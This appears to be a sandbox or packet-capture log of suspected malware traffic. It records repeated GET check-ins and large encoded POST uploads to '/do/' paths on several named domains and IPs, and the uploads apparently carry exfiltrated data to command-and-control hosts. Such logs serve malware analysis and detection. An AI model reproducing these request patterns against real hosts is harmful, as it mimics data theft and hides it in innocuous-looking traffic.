HUouPlszFH39JMaYqHMzr14Yi6ogpm4ZBmyBBbIO620sbPHnb9ggyl1Nl3mLsCXiUxD1GpvHEkJY74AXM~xyZwloO6mAtjYTbU2V1gnIi4AzFeidxmWqwTC2KOfGWOOgrJ6B5tgcb(D2YTPYqBbxUbqN39bXppwzoky2x4CCGC2VjtpvHkWY7aKWvX0dVkJrHw3v6ohfS5SlkIBhy78tDviPqioZPV05WmhYoq0CA5DcKOxEbQU(bGp0vuRkKkpaypt5Xo_rts5PfvH1a5gF-wXAOO0qfDSdCpz4ASO0tgp7i3w7pbowVNz~G6Cez5w1aa_9k92k3a-imfgDtgVQBPqCYd0u-hh(6eEDF36RA~30uJMkCn8QnR6KFyWwi8UwRmQUackMw8tvZ3l7hIAJ33vwALEimjZY3Z-JM9gAUQ6X5a3hzSUrqfuZqj-6H9qRDLfuXGhE56JCHM9x2~2y3eE6zzqFEdOYWmPt6zeaTagX8LAiurAwH~DamLJVu7o1pumdmJVhk\x00\x00\x00\x00\x00\x00\x00\x00

http://www.dirtyhems.com/do/
  • Hostname: www.dirtyhems.com
  • IP Address: 52.55.168.146
  • Port: 80
  • Count: 1

POST /do/ HTTP/1.1
Host: www.dirtyhems.com
Connection: close
Content-Length: 57161
Cache-Control: no-cache
Origin: http://www.dirtyhems.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.dirtyhems.com/do/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

Qtu=IIYo6F9c9ulePNM8VjPqb-IR0tEPvdM0KUVjLlKRzFLg5VxRoUKrK7yrZOCDv-jfU-HPf-RqS_KQ4pER3GY70mHPLHOE2NY9mk9Rr6GQLhg4~DhGQf6IRpBnYXKRNaG0cudr0OgpEeGfuntHxYWtanbWpier2JQTki2FL4dF~IXFD8CfqToNT3krJB1qzaJKf9bsjBkY1wkPf9w678pIKRLtdYdt6lncnNu51I7aAWR3iDWvhzOdKG7SupyAqTmlOTj4cxQmfSwjkirUPY0TLdK5NRUFZ9QR9yFc(Bn5i6dBCA2iruqkBbyBARQqkUfidkqX7lHAvuxRMr4d~qPIwkACHJc9cpm6HRAHFMo2FeV9TKDXflfiN8gBadKVIWjXvfifdYNWobvsBoLTJ214xBRWCKFT56Z64h4J58jk~WffxEewTx38zQs2Nkx1sYb92mMoRi7sba4wUe87nuntOUx8txam8lfOu6lZ4eO2v2iDvda_2ok2YigO1XAgUa5F6Sfn(DnjMRXT9nnTkAmxtXJipB(o47XJn49uIMThsnvupiADzjMtsX02Gif1dkU1NS9_f_FVbJwa~avZc_wFKP6_7dCdEvBP5xgIV6p_dfoT5TQDiPSx4p7CQV2pQ6RKBs6N2LdqwLPRHhYMEUcL6i0Qy0046fiRX_rtZWKddr1r82ILpu(saoa8TlyNGFbJKjsdGqsZkBpu2KLhOKHodXaSewAz4JScJr1yXloH(3p_Aw~BfiFAEffJf2r_wVnyZiBoql6-zSZ9gpi0~4vc~lXRJ4vWy6XTcZkwpSh7SmngBigGR2BYkS3pn79ayHuuFItZJtnv6RQDWJjrBM(WziN2geFAvrnAbNG3Pul1apjUZvSa49pgkJO_VDw8q7SC3_a-3Cupe4U4axkpSHyWaHF97rWEFz5G8yyNM6zPPzirLUuIbe7Ef48f5HT4KNnbPMTZD1wMrQc7xAjZeaFCwNg3bSACcpEfNVK8JmX4a6(_sn06lHt_Nup1Ikt6cIjOtdQhmS0UlRzPHaZzeOGU49pbibx1Tm8j5gZGe1NVb-pEdJs2mhQK4GISf8p6wYo9gIfV5VnsNUJYUkAOzes-MH8VwLZtNH8YrCui5WaA8-0ZdBlfzZzwrMFvepP4Bq7nsKRSVKgsBYTOZkoIH2m06sOyEkFZJx7E3GJAKz~0dgLS87OqCY5pidRtw5Jpt1g3H-Uwc19oaGo0(Vo3js34PK8a9xQ1OU47caBecr~09iIXvaSgPgnOP_oyPIzjk_wRTsckn2xDdO0oRLPk0dlX3LgS~FI04xPGHSu3erhNniyzN3jp5bmejCKHl3sNWJDEDug1~Iv5khfIACx7RjBuOuxu(5~0kbOkHA8-FgJnrZn-9ZnF~uQsM-c-(ldXPzDD(o3AlFc67_MvBVOo7mZyMxaRMb6kiH8lp1hZazZ5EZgB5zMsLGhO93VwJTZ4Qdg7(JdKAqL-~eA5ikUwXnkB7UWO88SZ4TRsIpdA1g46xYCVo6nHe4tPQH0Tk9ME~Q67uLjIDTmFcMggnhj-3ftp9MaqSJF1~uh2ASenwTnkRCfMZo8dNwRX3JeCixxOW9V7XAuVFrN3QA4-9I~IMn2EjKIWBEfOFkctVX4L(EgLLqKgLNT4IT8ekfyCIzmCFFuTHMDUSIitjMXJLxQeDak7PJu6zIY83rsQnIVtmwRKcbG32wsYD3(e8RY8oU9c0lCZFwGo~HJCl82Gtqwo6CCIxkD01ns47HR-vfj7DkANmTUw(TSJR3pglnGLR2rIZdWSCZYSergBriApkTKdQNQHYL9fWb1qvp6YkQa5uxzLtX3YIlkEsrrGrWE9XI2GYglgsb7f102TqwTSyQt-cxtsw8VZxziemcNJGxRshGc57lDgxSlKO1ogcE~kFLEd2iMS2KeWxYp5jL7MhfLdzH9a2iBYm1AzL3GkGRterTRwTtIswc3g8if3M4lVNjHmwjiMhCZZGtRTg2YyX-H7ckLsvRclNOSwd02TvD6YNEHEyOVT8AE4JZY_1LwTWJLg6ntLy3gKmAQqdh8VxJrjwF(uPSJi34VVAkCkj9ITXcojmyUvKKLOXTlzHG2wPtcQgdqf5YFwC9ysJk8i5PbiU5pR6GG8CX6Z7IQVFKpAlsVzlcSObD(yfyyw~C5ynDWEGu1B1qwD6zJ8MjYlMq1kQXVDFgpY0FrIcFjVofuLyS7yekgV280OYxwj4T05L0O_jvok1m~2xxN-FB5r8L5rMuTB37i_jFZ1kRK7HEzQ3HGytaQu~BM72RLRfaMTiiwXyZGz9BtJ87OiEXemlag6ZplsbGktbSY9eV~kjNWddYRwdLnLj_bqBQT7wFZinmdm~dedB6oRJsO8GFKEsR97L0bNLNjZJmiPpAFau8ZBlGGIKFh1nM

http://www.elamail.net/do/?Qtu=xhACZz9omP7rSh8MbbQzUmZ1R36CM/z6uxbUuYdXItW394VLpMr2k4tPTQ/Lw51PPC/HdWES&MZg8=kHQD
  • Hostname: www.elamail.net
  • IP Address: 205.178.189.131
  • Port: 80
  • Count: 1

GET /do/?Qtu=xhACZz9omP7rSh8MbbQzUmZ1R36CM/z6uxbUuYdXItW394VLpMr2k4tPTQ/Lw51PPC/HdWES&MZg8=kHQD HTTP/1.1
Host: www.elamail.net
Connection: close

\x00\x00\x00\x00\x00\x00\x00

http://www.elamail.net/do/
  • Hostname: www.elamail.net
  • IP Address: 205.178.189.131
  • Port: 80
  • Count: 1

POST /do/ HTTP/1.1
Host: www.elamail.net
Connection: close
Content-Length: 2197
Cache-Control: no-cache
Origin: http://www.elamail.net
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.elamail.net/do/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

Qtu=5DM4HW8J5v3kPFopG-VvMDl3dEC0M-(w~kuXla1LBJefytpyv6nJx5c_IFfUgKIpYALfECZg8wxI8IHilOHLCCwp5GdUVATzKjbIYnd-oM0GTjRhCm5p0gQrH-0WUutKx48Pfowroms3RoweSlTEceX1cClQ3CjrnlbYkX59t6C6bTnhKwaY1DH6Zg1aIaLQla04mwQ0wMRM71HOYIF9zsNWHONyFFGzeZJ1ba~Jqd8BdDsNyX6pAQpiJUUtGrDFJJBOogG6Z64_LlfnAaiqHsmMCdymbDuayTYJk19XKr3ZVjGGf5~khqi6ly~9K_Zj3mQP~jzY~3aPxK3YIRq2mRoaFXUX45OMQdF8xlDmMin7(vLB6bJxxZ5cOeO7yTB0FY9tC574CiL8tSMrjHcKGSr7l92uSrMXQ31IOsusOKqq(io48PBSD-KVVKItINjP481yerKnvqVoPIUIqmThfnFj62UV0syyJLKGltporhH6dn5KTIBIOGvMHDtIoPhFcPLHX3r_jSOGRx3J5QWWiyj8q2ivDbL3nq1cbL988PLFlkclR2KXt-4pJJcxDFLXp7x1H9DCJLmXpgmNQXrp(60zQF9ffk419agkzm8CNBkBmGIse7vU3EXPobdVUXTvGBe4sOuufN0DAGXPv8M02tW2xNik9aLvU1K4MiWmijzv8yQcHybPkZeTT1aiFD(Rj8NopUQPbVn8xfoH1XEwtaC1Xm8b65DbWVfXxNU83fMDVWneP-W_hSfGT4BLG1s5ZAREDnEnVptfNodhDeRhnlG1oqbLjGH3Al7dbe8w0JCeI8z2~cg75rHLXbZOlYSK9Y9LWj8B9DP91peu(SOFcpi9h0CzzIJc8rVE7EaUycds(96R~HUL7xFoWkPxQoydz_nM9JyEeL7zWv9iNAJdmEN7HwhT3KyREMzSgckxJx9j~faU6BuoXI0f67(oUK2W2DaD(cItaUWyKVhTz7(BA8IhVmMKFIraEaIM2bRuFiDLbs4H8CH78TWGiYHd3V63D682ils3aszr(mnZuTC3(FMjv0TqU_cBdUvhzbfqWHK0Q7zWlm(phYRxNMa9MazLkymZPBbGg_pwpNVHJmCTND(SBU4CPdDJGoafrubytJrd2GvUrw3KZY2ZwwhWT8vsU7k2qlPqyLUJ15hPelUTfxI97Y1cC7x3(krHcGawQmGvxmvIihNAI4PL~V89AYktixuAkg(DP-Namv4PJLz2qubudcKWX3itPO~E2ro7zEeWBSsesIRYiksANSOPtBZPrQ(xs0dN(tRRkxZyhX1Jf3dNAD0etWjsXyyYSiRfErXXtJyJKTZWrvcZXcBIe97hqGBHB6fzGoy_YnT4CnNQWqSGv6m5dcdTndLpHEBIIzrwUcVOeZ4T48iiWNExyEzUWy0BXdcJ(y55lbmHcsxW~f~2MVuMu7RyHFQFO076UPhEuykXbt2vYM3Ww-t1l4d0ZwQ1voeIGbWbBPgSiu8vvAFJqOyrDz9ZUOtRkC0M8oIHYV6EWS6XjFfMGGIewPdbSRmrwWsNtI8hdrmfPnVX1V9AV7ev~Knla8tLtXh_DiLn9cCvM8A67eVZ9ueSKTCcBdBUmLQERc4JcquTB2T-dd4LZQIPWIR56S5NVLVZ1Mk-~fFBwb6Av5VB3vXOmP2VkCEhWwpcJsCdkNuKcFmWbogMFiFtQpG1kryWaFZ5aWDill3EssMnk4cBqhp_JBeVFJG7XEqPSrT9gb7VqJXbgIZpl0FAVYE7WfLmSnKAAoCwuccuuLyxQgaDDwDMxM7uJKDCY58Y4bN_XJlj6_WzyMN2CeanWyES7R9TuBAGN6OqCUJMrwZEsM5l1ij6cFKCYKklYG18swg2HZR-9q2JoTUv(gMiTgJUj6FeoXvDGtoA(RRO3At_fZfAWR1sYN6HsBFh3sHECZLRnvTCUmDsT1DtjdtJvAzru9OdvUkvsW7Tau3mmxZIuQobe94V1hqEbVkmT3vgOQzG1ax-DS1Av2rgXkmDzp1zcQgFG-CgRWNCujUNHbVvYMzfwEVZOVpqIqTpFU7DGvr3KfF65hQjTVa2g1TKywTZZCJQJYXeo_mmdpogvQp9dFyio1SAb0qitJ4khui1DPVvdLBm6SLbJwzoRZKbfyn5(fZjcAl3JolbTblfSwfcPo0xIxGMQLM45TtLQ5AOH2ig\x00mJVhk\x00\x00

http://www.elamail.net/do/
  • Hostname: www.elamail.net
  • IP Address: 205.178.189.131
  • Port: 80
  • Count: 1

POST /do/ HTTP/1.1
Host: www.elamail.net
Connection: close
Content-Length: 57161
Cache-Control: no-cache
Origin: http://www.elamail.net
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.elamail.net/do/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

Qtu=5DM4HX037fzPLGAgRNcqGA9KFl2EBOHP90ODlblPNsCB5t5yrIPKlJc8c1fXx6FQbTLpEDta8w5Xo5WquM~RKy07kVh3RCr0LBnqI2V-mY8EXF9-RipTrwMpMfdYf557wawLP5QDsk88esEiAGzIC-z2EVtW3hGYgkbA6HxUlYeoMAfTKy2h8gPpSHhhBITqhcU4kBYk(sxO~1nGbbtA1cc8NsU6L1moZbg-GvPhsc0FEg0l(X~ucxZDOVckF6(YFqkBllORVqc4TE~SE4OyEdWqL8qmUCOc1W0B5F90IqTrfDH_f_iszp(Doi~zVppO8m4tw2XI~GKPwszLKTC5pxpdMnEAr-nAQdVWzVLmNgz77LvC4bJx755kOeOzyTBdFep5QJz4Vxf-sg1mr0B3YCrJg_e0YI4zQ2tQOIWsDaOlt2084uBRNaCFbqxgINvG5-NuVq22uqVrHYJWunSwbygnixIl2cmYOrPXkKFsqmGjVHt0W7xEdiqmRzBq3tkmdvPXGFfXlQuyQHye61uK~GjDiWPkGYDIjbNhaaY1ztDr6UQyREPWrcICHfszTkbasIxIe9bHOMuykx6yeSjHs8g9HWYtXBNgzboU0FsvHCRh~l5xcrCwmXewiZZtcW2lOFPzz_TFVNVpZhzxn9oU7K2vgN(Jobi9bxSDLBCD1TmJwDkEDh(Vj5~1QmiYEiXh8MlclXwCcADJ9O9ypXBe54iMLGNU6KryWVGYx9Q82eYDRVPRMd~0rif6X4BtZlhWZChTCnInTb1dMpdrEJxG6VGturXEnC6WAn2cYdoOwKCZeOry5cg85L74RbV94Iik9o5bDiBZ(BW4w6anpn6COZCXhUOb5cR77etG0T~6ntVgw8ertH8D(wVDFFmlBNSE1eWN25nwUtH4c6pMMl1jvlgdITZM0fmhTPTnj8RSDjJL17PP7XKKTdRV6KXGWrqjilbb25h2SEamLQBr4YD8MIFxVGIsHKLDPKoW0tYwGzXqZJcohTqfkxXXj6rjnB~xKoggu2lcY6u5613hgE6TuE05slnhX7UtDzjK(MjPF2PMTIeVh0qMxP0kOZLbAbqA7yGcHUuet-B788BRCUfMaUTnHR9edubHGpKtqPPyv5zd12PUlRa2XJ6t3HpAaPzEEog05Tj1wdQQx9oJXQg7Zi9q~q5XIdQp4Ui6b1aXQgyvwFn3nF0Sat~d91UfPpEAlCLXowruFsVQgtosV-zJ8s76QNm9R0KkEM6gxpBLzRmGNWRWvOEyhU5PUyG_rBdo0nC2ihhA2sAWsiVwmlp7GmV7YyNczkPeSByVfhRkV43Flr2-DiJ6~cJLHch9XuXZgQJwbKa4I8idWkOhNDloI5mF1NeZeOpp1vH0Hi0RLhToObdZWrYv5dqFTdkl01~eRAZ3Qvcomjsj7_6MYNp51PiARnrKm6BzIlUtLlGBY8husgxZc6qRUs3H26Bhwr90ZwYxho6RHqKRAb8rrMsGkh9Ihs72Ayx5Be5LghA07LJGSWTjISyhlHWXCCw807FYVTaR8EMmr_JGWbqfJTYF90tkUb2zxbXYc_d9mzR3Dkbs9_SKFM09nuRYwLSscgOPXt5li-gwJ4EgZZGTZzziEuchFj9AXLp9vAcXEIU018oqpcxd1_3XtM1Ph_(e36zfuiAFQQkNAveJv_HKWFaDUpwuHyEwcqLjjLPPaHZ2J3SklnnHkYUslKgxhDRGOHqzCq2bQVGDJpTmp9~vjpnG(IxNg39IV44NV8uZUkeRSpSirNVPhde7ZB2WBE3N3-riEbO2Jswl6boAfLBm78~_5sg8Pvi-XXVj1wE-lCZ8CcSJVm4rqwFF5vdv8j6uWUmNQbcTdEdnuFI2MbJ51q6b5jM98gQ3exJanIhk51G3UZ8_qRJX3A1bH5fIbTEXSvjikgYg6NjqJo3KqNbAd2LsKADHyYQbknjAicrep08cs3vOSI7k9y9krEJZeLA0wj~7S2InNkjEBjnJ~a05CW9Jh3TEH2SnzpdgAGpnNuGleEdVsRJCHO1KZvP31D5lMBodGI(MEHnjFuPOXu1Q7A0gEyf0hi(o2wzHZgd0A63wzJ2VFp0HuQx9Fw6zvlOVBSmU6eAPjc(LHq5qaJte3CXCWQHFd-mpWSKWtOV0eitsfa9SVMJdVCPBU75kOhLlOvMMmQYmLuIGCybPkHw8302c2wBV0q9nb3LMouRByw9r7i7B8bjauSivLuoXYy5YaJb-LWZV~RAfDKsN5m(0gXPLpiADV1azjOIT9iuSIm07uSrXAo4ButrN~QoJUdYhv-6k2WtDn_vLV2zsMZo0Krun~UqQ8DICFCW4g3jzwgJwn0k7zkG1T9RdbZV30H4-LmahHwhOc7xV0h2wx-fP2F6pDbW8RR1p6IIJ40L6seDo9PefFxUJ21fo

http://www.aboutsoft.info/do/?Qtu=vdC+DcmmC5mm0o05mqq4pqxflSg1F1fX6RcB1fkjlKiJi32Fn2rJAe+4MhlM6lYqRQzEIUXB&MZg8=kHQD
  • Hostname: www.aboutsoft.info
  • IP Address: 78.109.29.21
  • Port: 80
  • Count: 1

GET /do/?Qtu=vdC+DcmmC5mm0o05mqq4pqxflSg1F1fX6RcB1fkjlKiJi32Fn2rJAe+4MhlM6lYqRQzEIUXB&MZg8=kHQD HTTP/1.1
Host: www.aboutsoft.info
Connection: close

\x00\x00\x00\x00\x00\x00\x00

http://www.aboutsoft.info/do/
  • Hostname: www.aboutsoft.info
  • IP Address: 78.109.29.21
  • Port: 80
  • Count: 1

POST /do/ HTTP/1.1
Host: www.aboutsoft.info
Connection: close
Content-Length: 2197
Cache-Control: no-cache
Origin: http://www.aboutsoft.info
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.aboutsoft.info/do/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

Qtu=n_OEd8rhc-uzk8Eoje2ky6JsrnAiIk6Rp1YR2aQSqJ6cvEOdiyPzeLDNIXN2ln0xDyy6QkHMo4V7ji9EVcZMc78qb2C2LfW6csHmhvdXp-ZR1UJblZsMvlPT7kXTi5JpSMsAduHJ(e(syvFr0mwtubNdB6i0SpRE4mBpyt4BmAQOzDuCzuQr7MVNsmz2ohPTbvgWE2CRvxHDEfk12OQDTcl4SKb4I0C5I0i9vFyd6JPbBkQepuqnfLzjdqL7hxjgIthiI7eUVJsLfVqRgp4v53dkTU43AqYhGD101_wyhHlWC7E8DVBFM_nYQOAtBv6b0Lz7izzQv66XiGmC9WmHs1totmKWHKk7~g0_74U6uPRCZeqCShOibm0nmabGwzNud4Gb5MPQZsY2yk3zJN9wd96Xzdw1i4joWUYbpu2auDUAlFQMDENfDnRHiZmdofd5btTMAoC2qnB9k4Gd6DK1VWOGxTpuNRaXtvBiDACtA94bLFw9hvec~l2kqQcPIDxemD9vDn6TED1kdoHGXbbMNwTGWF(-4wtdv88h7Ve4VKznGio9nMmuo7349lEusHK3cpaG9qnSO0Y03HPDbCIFlcVoq7uoYXRThPGO3AK_qzm1S3wkFGkfPX8hbv6uERZBmtIUVCb5ZHtD8xPUulSQJD9K1n6OarO0QRCiRDPOOlvELa8N~5LrIjQCbZLFjtm6g4mc~JAhSUNtK5NvOZuVrDumtg5KX2XPWFFOiYIBciGsqXXZep7xtCX-m4p5N3kWp4b4WRR65X9aL-vLOi(V5PUid0A3ax1BPTreED6VFvFaD2TXmaFZIoTlDTs-CZKr9hvij31y4DCJMfLwJOVVdr5zzojQ4x~WZ8jlX_P7z8N966Bha7nB34q1a4njDWNUhNnRg5HUQLtU5EzdtMIIiqmevZ0X(h57JnNn(rdNJNeklempPWxVL-AX(9a8f1wOv0XZ8I22rcCyVdyuLOerdsnvTlboPfXPaTv3FVQelpHLzJpsCxSK3ti9hDFBKhreQT2o8qh45XBdk363cNqRAiJPc8DN23OyhTX5tLODcd6ozIj1T6QeZDrc6LUVfpRG58cMOXYv7itkRnTS~KXSTlrvGqUbrQV-mcaGvikhsVMM6LG2GEo1LIHpxnq9NDsTjIjYPKjDqHBILPBEX45lY7HitFeRVJ6rIQKflXQAKlN0wquvTVIuD6kOuplzDeKWAuZP5nPO4xJSFD1BzaELA7w3kgYy5DXBMTSpd_xab3dmUMzvuw(ZSpwqs7kaZB2hY9sSfsCXXVCry9lLhALjmbrxoSC4KNMiu5nScmaZtAwGcuWWLvos3rcJp0(93D(QpSdNZrpaW3wQeBMbkVDXXpdfWc61VEH3BxTFytnwE4~8nxhOfO2KLtPhx3nW4fUSJZ~TwawzFxFHA7(jtfR4Ncl8cwRdKxN_bUoxnKliTxIzsrpBHyDBT5GdaneA947egoNJ6u1a6GCiv3fQACFF8rRhBjfw1uvRU_o6F49V(vpWVDaBCAe1u9wFs5S0Uz9ExwCz15T7yRQQ55CpFSVpFTxJtJLGZNltA0~r1_yHvVB8kx4iRSS5ZZNdl1hRghnnLRoTfGCoqVTZa8hC5DuVvxGVI6lbRR(fQB(ilp~WozfEejii9kcXuSMWVuY7PJopGF~DCKTqbjcqcYxp0fQZ9wRMmP9USyOrb0sE0uhRPBm-QTFmi4GKJsRwdt37Xdj0Wr91MLSe~i8PPYAlVi(W~c8ITqxy~o2QcyFGhjGrPtjtdfPFS6IQfgaCENd4F9wrSfVv539GUP760YZUYeBozd6ykUXYrUtyqbsjBrN1hIwunEKvH6yTp8IDIomXI3yRAKsuT3XJJF17(q9Gi0i3q1mwWQ1PjveOqAkPlD8-R5z3dUW81K193-FqlY9jPMUui007~847DYlGSbhWFCyXo5X6gU9hZ1JSZfCP1ptK9kvvEmP6iMOcLdjXrqeE8cea3Za8pYpCGOeQjUKAr5j5NvZY6vcAizPh4_p1fMIKF5wYT9VDpMNg3v2Jo2yCMPOX0p1lZBZs(v9yE3q4GS2OS0li5piy9DIS2bnu6FrPz7jVJ2nEUfDY9MdVrpwpEAguR1(xUNiqc8H1kJKzxzn3Om8DhGReKB8YFBXNURMCjBhwX9Qny32-bCjT4OBnBccB2-GxWZo8MHWp\x00\x00\x00\x00\x00\x00\x00\x00

http://www.aboutsoft.info/do/
  • Hostname: www.aboutsoft.info
  • IP Address: 78.109.29.21
  • Port: 80
  • Count: 1

POST /do/ HTTP/1.1
Host: www.aboutsoft.info
Connection: close
Content-Length: 57161
Cache-Control: no-cache
Origin: http://www.aboutsoft.info
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.aboutsoft.info/do/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

Qtu=n_OEd4X1fOii1usXnaz786ZnzHM8FXrrkHh42aAWhoK0rnWdgwn0ULDSA3NxvH5IMwihQg2po4d43XRBT-wMUL4aTW~VPcu5dO7i0ahX2bNX5mR2nrJDw1TRwALapppYTp9JL_mc7fH33LxPlzspx7JaJZe6SK12rXBP8NgS6VhN40akzqIC8Pd4mAXNizXDMO0WGGaBlTOFat8t1fQ-bM1BF6qxGEi-Jyf4wQSm8IHHJTsiuOusW6DCH5a_hiWkJrx6G6i_GPsxUkKlhKUR5Htaa183Vq4jDANCrvwJyXdaJbEUDVFNWvTyJ-ArFqrfxrbjoTCXtLqXhk~R7VCYnVsoymaBR5wO~gkV6L06vN1Cd_WBUhOiBW0lmabOwzNHd9za4MHQNdk0zX(5cI0NAt7DjIEVm4(QWVADqNiaiSAHuA8IUGleLCwcs5vYofR0aoP2R9ir4nBysoywsyKXcn~rujQQMlL6qPFTNA6hD-cPAhhAkZGQ4UGD9BAXVCx1gnVZKmXuVgl6daz2ae7YTBv5emrWoERyqIIM4kaKfuCgMi0qh-iMtau0z2osqma2JqqLkJ2WdEE3z1rSbh0rhItMj6CjaWoEvP~6yibTuQTlfiN3N1w8L0FYUtOSVh8Lzc4SIznKTAQT0GapigS7Egl20za8WK3afUSBbBrnFnjTTbJO3J28FhZrarjjiNOS9saJyK8gQA9iJLwUBJautzWDgUkFXkOrWFNaioMBOyisuU(aeI76jyX4i4ooDX4Op6r8EBF6oQ5UM57RK1Wt2vUqb188exU3PQHCFDuFSN1ZG3ycnqFaJNzWFThwfqSB6Rqp1WJitR6jJMT1MrhOZrZZ8oefxjKxSYznZozr9dFh17hfY6(JpLTrTcKxUzt7i_(3lpThJ69bxX7zstAQrJjCzvdV6ktbNX1C(L53Aerrs_bgOG9da6Eq8IuOdQYCnheH3pi8kMGmUfHVPJWGf-3cSG2HH-fKPUb9Hmhdj72b~IQ3aFChzv(Sgld7MEHUFU(dx8tx8GEPhkqPSem1GQ13asXs7Wa3kk6d~MymQtPQybPjP-RzJSymsp5zWp4exrgNGFo2oWBVdzypyOf2f2LOH78c9j90mdqkhjwhhDUM7YO2OlEMUajB2QKdEzIK1aXeDPPAvV5BPP8AOs0cOZzcmU6ccuD9IgD8jn4JKn90zNmABmNIA7YZpJdvCPqBEYIUimrzxg5HDEAn88N5LJAjmQEZ4QPYERWRc9oibmwbWsr2vyXuQZ1lkvpvbBi8U-k6Ht2KckO_qfpB3lDrsaTXgS2xPvAqrJPRZBzv7DgUXLexN6MA7pIgqAz44RSD~wY3X6dcfmkyGBoPrxr_TPVqVr7eKmDNJDefzMftGqa0uidjX9XwLMXwgEfk~o9QNo6AjfsecgRTFLLgv8RpFNdCTTlFSgdmCE0Vs_d0Wj4Jne4PFAjjQ5GMNnXX26regoVN9Oh16xyovmftHAUn0ONgUQnU0quWNL4PUK59sd4PaADUPQHCo_4Vo4eaD3E20xHu0IbIzjp54Y~pHGhIRhJ9st3SdN08ITevy-SPvWl7kQA9WCm6d55QnwdzlADSORwMCEiUhkb7ePZCwSyRmQK7CZxRWWiWfHn1zeO8pDzYPAHhoU81rTIQSOBlIrQsVV7gFqOLAxAYXulYrvMIgypurf9BQRCWbEpb0rV0NWilQTNluKGFJalEBoHOWcCJBpNNLvnVyx9fYK41ESOIhdooYI16~KO-fRwzngTdM8z7RoqWevlIZTf8F_9uMvQveMx893d3ZtmP9aNVZYE-89m1pgLVrxVMveBALqNLuqY3xBvWE-qWjMUBFpPxHjCebqEmCHnEak571vhFkkvr9keYYw41mee-5CQ1uBlIRaqlIQSL1MdN4uEAj9ZNEu9QqXwfmtsVfJYSXZpUPS6XmNzIkhAHe2lpV8yb1JF5~F7qCl(4sbmKZ9mfrZfi5cjovb29wqkZJ46VvV7fq4fkU69g8OQsi3fIzaoXb8NhBIIHDalZvdAE4oWHvH61G-Cv5NtAYRBi4r5XblzZXjCNEmlS9uPX5Do237Lkh3bt94n2VyHjIurYl-Adt6kWN2McGS3SS_(eDuj6jKmfpzrAE2kmuhF8Ci4qcgaVX0QVmhB9RuIluVCaF0yxgpoVFMYP4dP8CtMWJhzpsXzEn8HrEMJux2fNPmR459lgo6WQGPNhkyVptWX9fZv0MZJ0W7yuIZswqHmEf4ac1Gxdm0KXm5wcR3dsKWLzUaqeGHrtlL~XJndzFGCcyjVV5NH7IKBrI1FvSFgFzXfjeEDvavvsglb0RR97jtMIRPTSA8hdguCDy_YqOyH0ciSFTlxdoV4YPeND~LlcLR48lCzUqLW8n83LqAgvW2fORfguxtfU9t9

http://www.thousleaves.com/do/?Qtu=DgBcHaBvOOSKm2rs8J+yrPK4XWrkYwj4OG8j95NJV3el3FPC7ugw4eYg7gEPe2D/Fcyw10eT&MZg8=kHQD
  • Hostname: www.thousleaves.com
  • IP Address: 122.9.223.230
  • Port: 80
  • Count: 1

GET /do/?Qtu=DgBcHaBvOOSKm2rs8J+yrPK4XWrkYwj4OG8j95NJV3el3FPC7ugw4eYg7gEPe2D/Fcyw10eT&MZg8=kHQD HTTP/1.1
Host: www.thousleaves.com
Connection: close

\x00\x00\x00\x00\x00\x00\x00

http://www.thousleaves.com/do/
  • Hostname: www.thousleaves.com
  • IP Address: 122.9.223.230
  • Port: 80
  • Count: 1

POST /do/ HTTP/1.1
Host: www.thousleaves.com
Connection: close
Content-Length: 2197
Cache-Control: no-cache
Origin: http://www.thousleaves.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.thousleaves.com/do/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

